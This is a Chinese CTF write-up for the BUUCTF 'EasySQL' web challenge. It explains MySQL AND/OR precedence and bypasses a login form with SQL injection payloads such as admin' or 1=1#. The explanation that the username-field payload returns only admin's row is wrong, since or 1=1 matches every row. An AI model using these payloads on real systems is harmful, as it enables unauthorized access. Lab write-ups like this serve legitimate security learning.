(4)BUUCTF-web-[极客大挑战 2019]EasySQL1

前言:

觉得这个题目挺有意义的,因为最近在学数据库,但是不知道在现实中有什么应用,所以学起来也没有什么兴趣,做了这个题目,发现数据库还是挺有用处的,哈哈

知识点:

mysql 中and和or的优先级

()> and > or

sql="select * from DB where user_id=1 or user_name='张三' and birthday='2000-03-03'"

1.该条sql 表示从 DB 中查询出 user_id =1 或者 (user_name='张三' 并且 birthday='2000-03-03') 的数据

sql="select * from DB where (user_id=1 or user_name='张三') and birthday='2000-03-03'"

2.该条sql 表示查询表示(user_id =1 或者 user_name='张三')并且 birthday='2000-03-03')

因为 () 的优先级会比 and 和 or 高 所以会先执行 ()里的

解题过程:

打开靶机后发现是一个登录界面,需要输入用户名和密码

先看看只输入用户民admin看看有什么报错

然后只输入密码也是同样的报错,所以用户名和密码都必须有值才能进行sql语句验证

判断是什么闭合

输入用户名admin'和admin

发现一个sql报错信息, 得知是''闭合

猜测后台的sql语句如下:

sql="select * from user where username='username\&'and password='password&'"

然后使用万能密码看看能不能登录admin账户

payload:

用户名:admin

密码:admin' or 1=1#

然后就出flag了

万能密码的原理是利用or和and的优先级来使得后面的where子句为真

我们输入的payload放入sql语句中就是这样的:

sql="select * from user where username='admin'and password='admin' or 1=1#'"

意思是:查询(用户名为admin并且password=admin)或者1=1的数据 #把后面的给注释掉了

因为1=1恒真,所以where子句后面恒真,所以就会输出所有用户的信息。

如果想只输出admin的信息可以使用:

payload:

用户名:admin ' or 1=1#

密码:admin

输入的payload放入sql语句中就是这样的:

sql="select * from user where username='admin' or 1=1#'and password='admin'"

意思是:查询username=admin或者1=1,#把后面注释掉了,所以不用管。

这样就只会输出admin的信息。

相关推荐
alexhilton3 小时前
MVI模式的完整历史、误解和现代Android范式
android·kotlin·android jetpack
心中有国也有家9 小时前
AtomGit Flutter 鸿蒙客户端:Canvas 绘制进阶-路径、渐变与混合模式
android·javascript·flutter·华为·harmonyos
hunterandroid10 小时前
WorkManager 可靠性实战:唯一任务、重试与幂等设计
android·前端
程序员老刘10 小时前
Android 17的10个AI功能,国内用户真正能用的有几个?
android·flutter·ai编程
花开彼岸天~11 小时前
鸿蒙应用开发实战【94】— 实战多卡号场景管理最佳实践
android·华为·harmonyos·鸿蒙系统
用户416596736935511 小时前
视频源文件音频轨异常分析记录
android
我命由我1234512 小时前
集成 mupdf-android 的示例做为模块使用报错,程序包android.support.v4.view不存在
android·java·java-ee·android studio·android jetpack·android-studio·android runtime
雨白14 小时前
嵌套 ScrollView 滑动冲突实战:实现内部优先滚动
android
阿pin15 小时前
Android随笔-IntentService详解(了解)
android·intentservice
海天鹰15 小时前
content://com.android.externalstorage.documents/document/primary%3A
android